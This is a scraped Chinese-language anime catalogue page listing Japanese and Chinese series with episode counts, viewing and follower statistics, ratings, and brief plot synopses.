简介:在負責營運某個遊戲的社會人,以被稱為「魔王」的遊戲角色身分,穿越到了異世界。而在那里,他以擁有壓倒性力量的魔王之姿,展開了冒險的旅程。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6879.4 万 + + + 追番人数 234.4 万 + + + 硬币数 18.9 万 + + + 弹幕总数 97.0 万 + + + 评分 8.3 + + +
+

简介:大野晶在登录着自己运营的游戏当中的最终BOSS“魔王·九内伯斗”的账号时, 突然被转移到了异世界中。 +他与在那里遇到的腿脚不便的少女一起开始旅行,但周边的人们不会把拥有压倒性力量的“魔王”这一存在放任...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 144.2 万 + + + 追番人数 20.2 万 + + + 硬币数 9014 + + + 弹幕总数 1.6 万 + + + 评分 9.5 + + +
+

简介:沒有房屋…。也沒有食物和水…。 +女高中生4人組,落難到了一個具體位置不明的無人島上,陷入大危機! +…本應該是這樣,卻意外地活力十足! +正因為什麼都沒有,才要創造一切!吃遍一切! +這是一出充滿智慧與勇氣...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 71.5 万 + + + 追番人数 13.4 万 + + + 硬币数 5133 + + + 弹幕总数 6130 + + + 评分 9.2 + + +
+

简介:「我遇到了…可愛卻有點奇怪的學姐!」 + +雖然喜歡魔術,卻因迷糊導致失敗率高達100%!?雖然很可愛,卻有點廢柴!? +被這樣的學姐強行拉進奇跡社,甚至被當做了「助手」……。 +將多才多藝的姐弟「小咲」和「...

+
+
+ + +
+
+
+
+ +
+ + + + 全25话0 + + + + + 番剧 日本 + + + + 总播放 2371.9 万 + + + 追番人数 35.5 万 + + + 硬币数 4.2 万 + + + 弹幕总数 61.1 万 + + + 评分 4.1 + + +
+

简介:主人公三日月·奥古斯,从所属的民间警备公司克律塞安保公司(下称CGS)那里,接受了对少女库德莉亚·蓝那·伯恩斯坦的护卫任务。但CGS受到了摘取反叛之芽的武力组织加拉尔霍恩的袭击,于是在把三日月当做诱饵...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 614.0 万 + + + 追番人数 162.4 万 + + + 硬币数 3.1 万 + + + 弹幕总数 7.0 万 + + + 评分 9.6 + + +
+

简介:Fate/kaleid liner系列的角色穿越平行世界的大集合,原作监修的完全原创剧情,描绘少女们的另一个故事。...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 544.0 万 + + + 追番人数 38.5 万 + + + 硬币数 1.5 万 + + + 弹幕总数 12.2 万 + + + 评分 8.8 + + +
+

简介:12年前,利姆加尔德王国发生的事件在留下了巨大的谜团的情况下,正从人们的记忆中被忘却。时光流转,主人公唯和蕾娜两姐妹在艾纳斯特利亚皇国度过着平稳的日常。某天,一台巨大机体袭击了艾纳斯特利亚。以这一天为...

+
+
+ + +
+
+
+
+ +
+ + + + 全5话0 + + + + + 番剧 日本 + + + + 总播放 248.1 万 + + + 追番人数 27.2 万 + + + 硬币数 3449 + + + 弹幕总数 9689 + + + 评分 9.3 + + +
+

简介:在与巴泽特经历一场恶战之后,伊莉雅她们好不容易才回到平稳的日常当中,但就在此时,凛和露维雅却发现了潜藏在地底的第8张职阶卡片!为了回收这第8张卡片,伊莉雅她们不得不与巴泽特合作,但回收卡片的困难程度却...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 405.9 万 + + + 追番人数 28.2 万 + + + 硬币数 7572 + + + 弹幕总数 3.1 万 + + + 评分 9.3 + + +
+

简介:第四卷限定OVA..

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 721.9 万 + + + 追番人数 109.2 万 + + + 硬币数 5.7 万 + + + 弹幕总数 11.2 万 + + + 评分 9.6 + + +
+

简介:“我想我可以说出来了。我与美游的……至今为止的故事” +世界向着毁灭前进。能够阻止毁灭的步伐的,唯有身为“圣杯”的美游的牺牲而已。“要选择世界,还是美游——。”伊莉雅给出的答案是,“拯救双方”这种单纯的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1566.0 万 + + + 追番人数 98.4 万 + + + 硬币数 3.7 万 + + + 弹幕总数 36.5 万 + + + 评分 9.6 + + +
+

简介:“这样的时间,若能一直持续下去就好了——。” +结束了与第8张职阶卡片的英灵之间战斗的伊莉雅等人。 +为了尽情享受所剩不多的暑假,她们再次进入度假模式。 +但,这样的日常,过于轻易地被打破。 +在奔向发生异变...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 番剧 日本 + + + + 总播放 1861.1 万 + + + 追番人数 121.5 万 + + + 硬币数 4.1 万 + + + 弹幕总数 42.2 万 + + + 评分 9.5 + + +
+

简介:激烈的战斗结束后,总算将全部的职阶卡片回收完毕的伊莉雅和美游回到了平稳的学校生活。某日,为了给混乱的地脉注入魔力使之安定化,两人跟随凛和露维雅来到了大空洞。那是个对于身为魔法少女的她们来说应该很简单的...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 番剧 日本 + + + + 总播放 29.7 万 + + + 追番人数 8.3 万 + + + 硬币数 2034 + + + 弹幕总数 1.4 万 + + + 评分 9.6 + + +
+

简介:遠坂凜和露維亞一同回到了日本。原本就關係不好的兩人在夜空中打了起來,因為無視了師父的任務,兩人的魔杖分別罷工辭職。遠坂凜的魔杖紅寶石感受到了伊莉雅對魔法的渴望,連哄帶騙的讓伊莉雅成為了魔法少女。凜找到...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1888.5 万 + + + 追番人数 115.1 万 + + + 硬币数 9.7 万 + + + 弹幕总数 26.8 万 + + + 评分 9.6 + + +
+

简介:极度怕生的少女一里波知,在小学时就只有一位朋友,就是这仅有的一位朋友,和波知定下了约定「波知要在中学毕业前和全班同学成为朋友」如果做不到的话就和波知绝交?!但是,一紧张就迈不开步子,无法面对他人视线的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2917.1 万 + + + 追番人数 174.6 万 + + + 硬币数 19.1 万 + + + 弹幕总数 39.8 万 + + + 评分 9.7 + + +
+

简介:将想要说的话以“五七五的川柳”来表达的女孩子·雪白七七子,与外表可怕但内心善良的文艺社学生·毒岛英二。由短短17个音节而编织成的两人的日常,无论何时都充满幸福!...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 番剧 日本 + + + + 总播放 1447.9 万 + + + 追番人数 109.8 万 + + + 硬币数 11.1 万 + + + 弹幕总数 14.6 万 + + + 评分 9.8 + + +
+

简介:这里是“人”“神”“魔”各个种族混杂在一起的神秘世界密斯塔尔希亚。快活的玛娜莉亚王国公主“安”,内向的龙族公主“古蕾雅”。自两人的相遇之后,玛娜莉亚魔法学院的生活开始了。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 283.0 万 + + + 追番人数 9.2 万 + + + 硬币数 1420 + + + 弹幕总数 2951 + + + 评分 8.6 + + +
+

简介:“可以喔,我会变大给你看的” +E.R.2035年。 +突然出现的巨大生命体“费亚雷姆”。 +人类大量投入了战斗型智能机器人“艾克提斯”以与之对抗, +但在身长超过50m的费亚雷姆那压倒性的力量面前仍处于无可...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 7718.2 万 + + + 追番人数 224.7 万 + + + 硬币数 19.2 万 + + + 弹幕总数 240.5 万 + + + 评分 9.3 + + +
+

简介:【本片翻译由澄空学园&华盟字幕社联合提供】故事以「私立希望之峰学园」作为舞台,该学校的入学要求有两个:1.必须是现役高中生。2.必须在其独特的领域具有超一流的水平。由政府公认办学,可以说能够从这间学校...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 434.1 万 + + + 追番人数 79.0 万 + + + 硬币数 1.2 万 + + + 弹幕总数 6.6 万 + + + 评分 9.4 + + +
+

简介:时为1986年——日本泡沫经济的前夜。突然来临的狂乱和之后会来临的崩坏,现在街道上的人们都还不知晓。那是一个在电车内只有大叔们带着耳机,听着赛马或棒球还是英文会话的时代,一个在沥青马路上满地都是废旧易...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6778.1 万 + + + 追番人数 258.6 万 + + + 硬币数 36.1 万 + + + 弹幕总数 66.3 万 + + + 评分 7.9 + + +
+

简介:人类遭遇了名为“空间震”的新型灾害。震荡空间、将一切破坏殆尽的这一灾厄,是由于存在于临界的精灵出现这个世界上时而发生的。为了阻止空间震,使人类免受灾厄而必须采取的措施,是使用武力歼灭精灵,或者是—— +...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2604.7 万 + + + 追番人数 183.9 万 + + + 硬币数 10.9 万 + + + 弹幕总数 90.1 万 + + + 评分 9.5 + + +
+

简介:故事主要讲述的是对于不擅长与男生打交道的主人公吉冈双叶来说,“田中君”是特别的存在。由于在暑假时田中君转校了,所以双叶未能向他传达自己内心的感情。之后,受到男生欢迎的双叶也因此被其他女生排挤,就这样度...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 番剧 日本 + + + + 总播放 1.1 亿 + + + 追番人数 319.6 万 + + + 硬币数 65.9 万 + + + 弹幕总数 163.4 万 + + + 评分 8 + + +
+

简介:位于东京西部的巨大“学园都市”,实施着超能力开发的特殊课程。学生们的能力被给予从“无能力Level 0”到“超能力Level 5”的六阶段评价。高中生上条当麻,由于寄宿在右手中的力量——只要是异能之力...

+
+
+ + +
+
+
+
+ +
+ + + + 全16话0 + + + + + 番剧 日本 + + + + 总播放 7069.0 万 + + + 追番人数 223.9 万 + + + 硬币数 19.7 万 + + + 弹幕总数 112.8 万 + + + 评分 8.8 + + +
+

简介:《pop子和pipi美的日常》是大川ぶくぶ创作的搞笑四格漫画,2014年开始在竹书房旗下的网页漫画网站“MANGA LIFE WIN”上开始连载,并在社交网站上走红。黄头发比较矮的是POP子(ポプ子)...

+
+
+ + +
+
+
+
+ +
+ + + + 全100话0 + + + + + 国创 中国大陆 + + + + 总播放 8.2 亿 + + + 追番人数 677.1 万 + + + 硬币数 255.1 万 + + + 弹幕总数 1049.0 万 + + + 评分 9.5 + + +
+

简介:根据古典小说记载,世上有人有妖,妖会与人相恋,妖寿命千年,人的寿命有限,人死了,妖活着。人会投胎转世,但投胎以后不记得上辈子的爱。妖如果痴情的话,就去找狐妖“购买”一项服务,让投胎转世的人回忆起前世的...

+
+
+ + +
+
+
+
+ +
+ + + + 全72话0 + + + + + 国创 中国大陆 + + + + 总播放 9537.5 万 + + + 追番人数 149.5 万 + + + 硬币数 38.0 万 + + + 弹幕总数 147.1 万 + + + 评分 9.7 + + +
+

简介:《小绿和小蓝》 是漫画家笛子Ocarina创作的一部作品,连载于腾讯动漫平台,其同名动画将于2018年8月全网开播。该作凭借着轻松搞笑的风格深受读者喜爱。漫画围绕温和含蓄的“小绿”和单纯认真的“小蓝...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 23.3 万 + + + 追番人数 3.5 万 + + + 硬币数 1247 + + + 弹幕总数 3217 + + + 评分 9 + + +
+

简介:天界戰爭之後墮天的前天使們,以惡魔身分在魔界努力過活。而這些勤勞工作的惡魔們,其實有著不為人知的一面… 在萬魔殿工作的穆林是魔界冷酷君主別西卜的近侍,但沒想到那位既知性又美麗的群魔之首的真面目竟讓人驚...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 8.0 万 + + + 追番人数 1.1 万 + + + 硬币数 92 + + + 弹幕总数 301 + + + 评分 - + + +
+

简介:擔任公司主任的水澤千里能力出眾而不多話,受到身邊人們的尊敬。千里回到家後喜歡喝丈夫調製的雞尾酒,喝醉的她會展現出與工作時截然不同的模樣。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3166.1 万 + + + 追番人数 132.9 万 + + + 硬币数 8.2 万 + + + 弹幕总数 105.3 万 + + + 评分 8 + + +
+

简介:“百武装展开!!” +“HUNDRED”──那是能对抗袭击地球的神祕生物“蛮族”(Savage)的唯一武器。 +主角如月隼人为了成为能够驾驭HUNDRED的武艺者(Slayer),进入海上学园都市舰“Li...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 7825.3 万 + + + 追番人数 118.0 万 + + + 硬币数 30.9 万 + + + 弹幕总数 17.8 万 + + + 评分 9.4 + + +
+

简介:我们也曾彷徨,我们也曾迷茫,但是我们从来不曾退缩,兔子永远走在挑战强者的路上。那年那兔那些事儿第四季,全方位展现“地面最强”的童年!...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 1.3 亿 + + + 追番人数 121.8 万 + + + 硬币数 41.0 万 + + + 弹幕总数 17.2 万 + + + 评分 9.6 + + +
+

简介:那年,兔子的种花家没有了大规模的威胁,和蓝星的小伙伴们的关系也在日渐和谐。但笑与泪的生活还在继续,之后还会发生什么有趣的事情呢?我也不知道啊!作者我压根就没想过这我兔居然能出到第三季!...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 1.5 亿 + + + 追番人数 139.2 万 + + + 硬币数 57.1 万 + + + 弹幕总数 92.5 万 + + + 评分 9.6 + + +
+

简介:本片讲述了一群兔子由于被封锁而与很多第三世界的河马作伴,在基乐永生与喧哗上等的冷战中,夹缝中求生存。并重新回到世界舞台,与鹰酱毛熊重修旧好的故事。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 2.0 亿 + + + 追番人数 293.3 万 + + + 硬币数 152.3 万 + + + 弹幕总数 212.5 万 + + + 评分 9.7 + + +
+

简介:本片讲述了一群兔子是怎么从种花家一穷二白的时候,通过自身的努力与奋斗,蹬了鹰酱一脸血,并且养殖出了自己的大蘑菇,发展成为蓝星最强五流氓之一的故事。本片故事纯属虚构,如有雷同,纯属巧合。本片漫画更新频繁...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 9540.1 万 + + + 追番人数 381.9 万 + + + 硬币数 48.9 万 + + + 弹幕总数 117.0 万 + + + 评分 9.8 + + +
+

简介:在「KADOKAWAヤングエースUP」连载中的《卫宫家今天的饭》于2017年12月31日公布了动画化的消息。动画于特别节目「Fate Project 2017」中先行播出了第一话,后续将在2018年2...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 6680.7 万 + + + 追番人数 181.0 万 + + + 硬币数 52.1 万 + + + 弹幕总数 80.8 万 + + + 评分 9.4 + + +
+

简介:无知少女穿越异世界,遭遇裸男围攻。是屈服?是挣扎?是反抗?凸变英雄LEAF之脱变英雄,看春光乍泄,照亮世界!...

+
+
+ + +
+
+
+
+
+ ISLAND +
+
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3097.6 万 + + + 追番人数 176.1 万 + + + 硬币数 12.0 万 + + + 弹幕总数 35.4 万 + + + 评分 9.2 + + +
+

简介:远离本土、漂浮在海洋中的“浦岛”。那里有让人错认为是天国的富裕的自然资源,以及有被复杂的过去和古老的习俗所束缚的人们生活着。 +在这块被本土抛弃、被逐渐遗忘的土地上,居民们几乎不抱任何希望地在生活着。 +...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2237.7 万 + + + 追番人数 86.7 万 + + + 硬币数 16.4 万 + + + 弹幕总数 32.3 万 + + + 评分 9.8 + + +
+

简介:“舞台少女”——以未来的舞台女演员为目标,光芒四溢的少女们。 +某天,她们收到了一封邮件。“请去取得吧 你所希望的那颗星”为了摘取闪耀的星星,而聚集于选拔会场的9名舞台少女。 +追求光芒的心意、执着、命运...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3360.4 万 + + + 追番人数 178.8 万 + + + 硬币数 23.7 万 + + + 弹幕总数 62.7 万 + + + 评分 9.8 + + +
+

简介:天野灯在意外的事情中被名为索菲·特瓦伊莱特的吸血鬼女孩所救,于是她对索菲一见钟情。 +灯来到了索菲的家中,开始了半强行同居。 +索菲虽然是吸血鬼,但她并不会袭击人类,她会在网上购买血液和感兴趣的动画商品,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3690.3 万 + + + 追番人数 142.6 万 + + + 硬币数 11.0 万 + + + 弹幕总数 67.6 万 + + + 评分 9.8 + + +
+

简介:在一间不起眼的小酒馆里,正有一群不明身份的神秘人士在喝酒。从他们的言谈之间可以隐约得知,一场可能会打破时空界限的凶狂盛宴即将到来…… +冬木市再度举行了让魔术师为之疯狂的“圣杯争霸战”,参与争夺的卫宫士...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 番剧 日本 + + + + 总播放 1347.4 万 + + + 追番人数 89.6 万 + + + 硬币数 6.9 万 + + + 弹幕总数 24.5 万 + + + 评分 5.7 + + +
+

简介:以轻小说作家为目标的高中生·永见祐,有个名叫凉花的妹妹。凉花是个才色兼备的优等生,但对哥哥的态度却严厉又冷漠。 +某天,长年在轻小说选拔第一轮就落选的祐,得知了冲击性的事实。凉花创作的“兄妹亲亲热热恋爱...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1624.6 万 + + + 追番人数 88.4 万 + + + 硬币数 3.6 万 + + + 弹幕总数 24.9 万 + + + 评分 5.8 + + +
+

简介:曾经在博得全世界人气的MMORPG《UNION》中成为传说的小学生队伍“昴星团”。但,在游戏中GAME OVER的旭姬,在现实中也同时死亡了。《UNION》运营停止,“昴星团”的成员也各奔东西。 +在这...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1372.7 万 + + + 追番人数 96.8 万 + + + 硬币数 5.0 万 + + + 弹幕总数 63.1 万 + + + 评分 8.8 + + +
+

简介:  恋爱旗标、友情旗标、胜利旗标及死亡旗标──“旗标(flag)”,那是人生歧路上重要的选项。自从某事件後,少年‧旗立飒太能够在他人头上看到“旗标”。转学进入都内首屈一指的名门学校“私立旗谷学园”的他...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 番剧 日本 + + + + 总播放 2807.0 万 + + + 追番人数 127.2 万 + + + 硬币数 9.4 万 + + + 弹幕总数 69.9 万 + + + 评分 9.7 + + +
+

简介:主角满潮永澄是个就读于埼玉县某中学的平凡中学生。某个暑假他在海边度假时突然溺水,意识模糊之际为美丽的人鱼濑户璨小姐所救。但是,人鱼世界中有一条规矩就是被人类得见人鱼真身的话,那双方的中必须有一方得选择...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1614.1 万 + + + 追番人数 171.1 万 + + + 硬币数 17.6 万 + + + 弹幕总数 18.4 万 + + + 评分 9.7 + + +
+

简介:主人公横寺阳人是个头脑中充满烦恼的高中二年生,后来从同样有工口烦恼的青梅竹马朋太那儿得知其就是向“不笑猫”像祈祷后,自己满脑子工口的烦恼便消失无踪。在了解了只要把供品献给“不笑猫”像,就能够把自己不需...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 8056.3 万 + + + 追番人数 275.4 万 + + + 硬币数 36.2 万 + + + 弹幕总数 192.3 万 + + + 评分 9 + + +
+

简介:西村英骑曾经有过一段“在网游里跟女性角色告白,结果发现对方是假冒女生的人妖”这样的黑历史,结果突然有一天他又被一个女性角色告白了。正在英骑怀疑历史重演的时候,却发现线上的“老婆”玉置亚子居然是一个真正...

+
+
+ + +
+
+
+
+ +
+ + + + 全11话0 + + + + + 番剧 日本 + + + + 总播放 8010.5 万 + + + 追番人数 347.4 万 + + + 硬币数 46.6 万 + + + 弹幕总数 121.0 万 + + + 评分 9.6 + + +
+

简介:桃濑成海是一个白领女性,不过在情场上十分失意。 +而二藤宏嵩是桃濑的青梅竹马,虽然是个彻头彻尾的阿宅,但是长着一副英俊的面孔带着酷冷的形象。 +在桃濑情场失意时作为青梅竹马的二藤迅速拉近了与桃濑的感情距离...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 42.7 万 + + + 追番人数 14.6 万 + + + 硬币数 1531 + + + 弹幕总数 1.3 万 + + + 评分 8.6 + + +
+

简介:【本片翻譯由動漫國字幕組&DHR動研字幕組提供】“你曾说过想要妹妹对吧”,向高中生东城刃更宣布再婚的父亲,带了两个成为他继妹的女孩回家同住,结果自己却跑到国外出差。澪与万理亚两名少女在父亲离开以后,态...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 9829.0 万 + + + 追番人数 303.3 万 + + + 硬币数 37.2 万 + + + 弹幕总数 100.5 万 + + + 评分 9.6 + + +
+

简介:支持着芦川组的年轻智力型黑道新田义史,过着被喜欢的壶所包围的悠然自得单身生活。但某一天,随着装在神秘物体里的少女雏来到他家,他的生活为之一变。他被能使用念动力的雏所胁迫,迫不得已开始和她同居! +容易暴...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 5600.7 万 + + + 追番人数 317.0 万 + + + 硬币数 17.5 万 + + + 弹幕总数 89.6 万 + + + 评分 8.8 + + +
+

简介:那是,在被忘却的月球上开演的“EXTRA”之物语。 存在于月球的,拥有能实现任何愿望之力量的灵子计算机“Mooncell Automaton”。 构筑于Mooncell内部的灵子虚构世界“SE.RA....

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 番剧 日本 + + + + 总播放 3769.8 万 + + + 追番人数 87.6 万 + + + 硬币数 6.5 万 + + + 弹幕总数 88.4 万 + + + 评分 9.1 + + +
+

简介:西历2067年,新的故事即将上演。银河系边境行星的中心、失去自我而狂暴化的“Bajura”症候群扩大化。 +眼见事态严重,星间复合企业体为控制症状,以少女们的“战术音乐组合walküre”与共同作战的“...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 1281.7 万 + + + 追番人数 138.0 万 + + + 硬币数 77.0 万 + + + 弹幕总数 56.5 万 + + + 评分 9.8 + + +
+

简介:“十八岁。高中最后一年。明明如此,六花却……仍然是个中二病”。升入大学的考试近在眼前,高中三年级到来前的春假。 +富㭴勇太和小鸟游六花的共同生活依然一成不变。但他们的上位契约似乎仍未缔结……这样的某一天...

+
+
+ + +
+
+
+
+ +
+ + + + 全14话0 + + + + + 番剧 日本 + + + + 总播放 5533.4 万 + + + 追番人数 314.3 万 + + + 硬币数 43.7 万 + + + 弹幕总数 157.2 万 + + + 评分 9.7 + + +
+

简介:被谜之转校生——千斗五十铃强迫而接受游乐园约会的可儿江西也,不知何故被拉到的地方,却是一个充满了破旧游乐设施的日本第一的遗憾游乐园——甘城辉煌游乐园。这座游乐园建立于泡沫经济全盛期,近年假日来客人数不...

+
+
+ + +
+
+
+
+ +
+ + + + 全32话0 + + + + + 国创 中国大陆 + + + + 总播放 1.7 亿 + + + 追番人数 148.7 万 + + + 硬币数 29.6 万 + + + 弹幕总数 152.7 万 + + + 评分 8.8 + + +
+

简介:凹凸世界的创世神是一位很肆意随性的神明。他创造的世界生而不平等,只有参加凹凸大赛才有机会改变命运。参赛者将得到系统赐予的“特殊能力”,并锻炼运用各自的能力不断闯关战斗。只要能在凹凸大赛中获得最终的胜利...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3693.1 万 + + + 追番人数 117.4 万 + + + 硬币数 5.9 万 + + + 弹幕总数 41.9 万 + + + 评分 6.2 + + +
+

简介:来自现代的少年周防勇斗,他误闯到战乱中的黎明世界「攸格多拉西尔」。 +这是一个弱肉强食的世界,许多氏族彼此争夺霸权,勇斗则以现代知识为武器,仅仅十六岁便登上统领千军万马的宗主之位。 +一位普通的少年在异世...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 3133.3 万 + + + 追番人数 119.3 万 + + + 硬币数 11.2 万 + + + 弹幕总数 28.6 万 + + + 评分 9.7 + + +
+

简介:《One Room》的舞台,发生在“主角(One)的居室(Room)”当中。观众们将会跟三位少女轮番邂逅,并跟三位少女展开一段以主角的居室为中心的故事。...

+
+
+ + +
+
+
+
+
+ One Room +
+
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 4489.2 万 + + + 追番人数 222.8 万 + + + 硬币数 15.2 万 + + + 弹幕总数 68.3 万 + + + 评分 9.7 + + +
+

简介:《One Room》是由台风Graphics制作的第一人称视角原创短篇动画作品,于2017年1月11日播出。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3790.3 万 + + + 追番人数 98.4 万 + + + 硬币数 3.0 万 + + + 弹幕总数 52.1 万 + + + 评分 7.2 + + +
+

简介:世界受“魔甲虫”威胁,大地遭其占据,人类只能住在天空中的浮游都市里。之后,以魔力对抗“魔甲虫”的魔法师——空战魔导士诞生了。 +就读空战魔导士培育机构——学园浮游都市“密斯特岗”的彼方·英司,是拥有“黑...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 668.3 万 + + + 追番人数 117.3 万 + + + 硬币数 8.1 万 + + + 弹幕总数 27.2 万 + + + 评分 8.9 + + +
+

简介:遙遠的未來,人類在荒廢的大地上建設了移動要塞都市“種植園”,並謳歌著文明。在那當中建造的駕駛員居住設施“米斯特汀”,通稱“鳥籠”。孩子們就住在那裡,他們被告知的使命,只有戰鬥。敵人是一切都被謎團覆蓋的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.5 亿 + + + 追番人数 386.8 万 + + + 硬币数 28.1 万 + + + 弹幕总数 275.7 万 + + + 评分 8.6 + + +
+

简介:本作以“人类世界最后的故事”之旗号,描绘了某一天因未知病毒的肆虐,人类面临着灭亡的窘境。此时,只有13岁以下的孩子们不会被病毒所感染,而这些孩子被从地下都市出现的吸血鬼所囚禁,并作为血液的供方用于饲养...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 国创 中国大陆 + + + + 总播放 2.0 亿 + + + 追番人数 268.6 万 + + + 硬币数 28.1 万 + + + 弹幕总数 76.2 万 + + + 评分 9.4 + + +
+

简介:【支付5B币或成为bilibili大会员可观看!】穿越到修仙世界成为逍遥门大师兄的东方纤云发现自己竟然不符合穿越小说男主角的设定,经过一番试验后,决定要抱紧最符合男主角设定的二师兄印飞星的大腿活下去。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 17.5 万 + + + 追番人数 2.7 万 + + + 硬币数 1250 + + + 弹幕总数 6095 + + + 评分 9.3 + + +
+

简介:「黑暗不會結束」 +短暫的和平過後,selector的影子再次悄然接近—— +率先察覺異變的水嶋清衣,為了給黑暗的連鎖畫上終止符而出動 +加入本次決鬥的新卡“鑰匙”(Key) +不同於之前,被安排好的規則 +主...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 1692.3 万 + + + 追番人数 77.5 万 + + + 硬币数 4.5 万 + + + 弹幕总数 25.0 万 + + + 评分 8.8 + + +
+

简介:将自古以来威胁人世的异形存在·荒魂,以御刀祓除的神薙之巫女。以制服佩刀为主要装束的她们,被称作“刀使”。正式名称则是隶属警察组织的特别祭祀机动队。她们在身为得到佩刀许可的超法规国家公务员的同时,还是在...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 4896.3 万 + + + 追番人数 35.3 万 + + + 硬币数 7.7 万 + + + 弹幕总数 298.5 万 + + + 评分 9.4 + + +
+

简介:故事描述日本在16年前成立名为《公序良俗健全育成法》的法规,自此所有与“性”有关的文句都遭到禁止。某日,高中生奥间狸吉终于如愿进入由自己崇拜的学姐担任学生会长的优良名校就读,但刚入学就遭到名为“雪原之...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 番剧 日本 + + + + 总播放 9932.2 万 + + + 追番人数 295.9 万 + + + 硬币数 39.2 万 + + + 弹幕总数 224.2 万 + + + 评分 9.8 + + +
+

简介:前身为男校的星华高中,学生会长美咲为了保护女学生,天天和旁若无人的男学生们战斗。然而,身为学生会长的她,却有个不为人知的秘密──在女仆咖啡馆打工!而这个不为人知的秘密,却在某天被学校的模范生──碓冰发...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 番剧 日本 + + + + 总播放 289.6 万 + + + 追番人数 24.1 万 + + + 硬币数 5017 + + + 弹幕总数 6.7 万 + + + 评分 9 + + +
+

简介:在英国某间魔法学校修行的首席毕业生涅吉,目前还只是个10岁的少年。他的目标是成为“出色的魔法使”。魔法学校给涅吉指定的结业课题是“去日本普通学校当老师”!于是,涅吉在祖父的朋友的帮助下进入了麻帆良学圆...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 番剧 日本 + + + + 总播放 8.0 万 + + + 追番人数 5.5 万 + + + 硬币数 156 + + + 弹幕总数 492 + + + 评分 - + + +
+

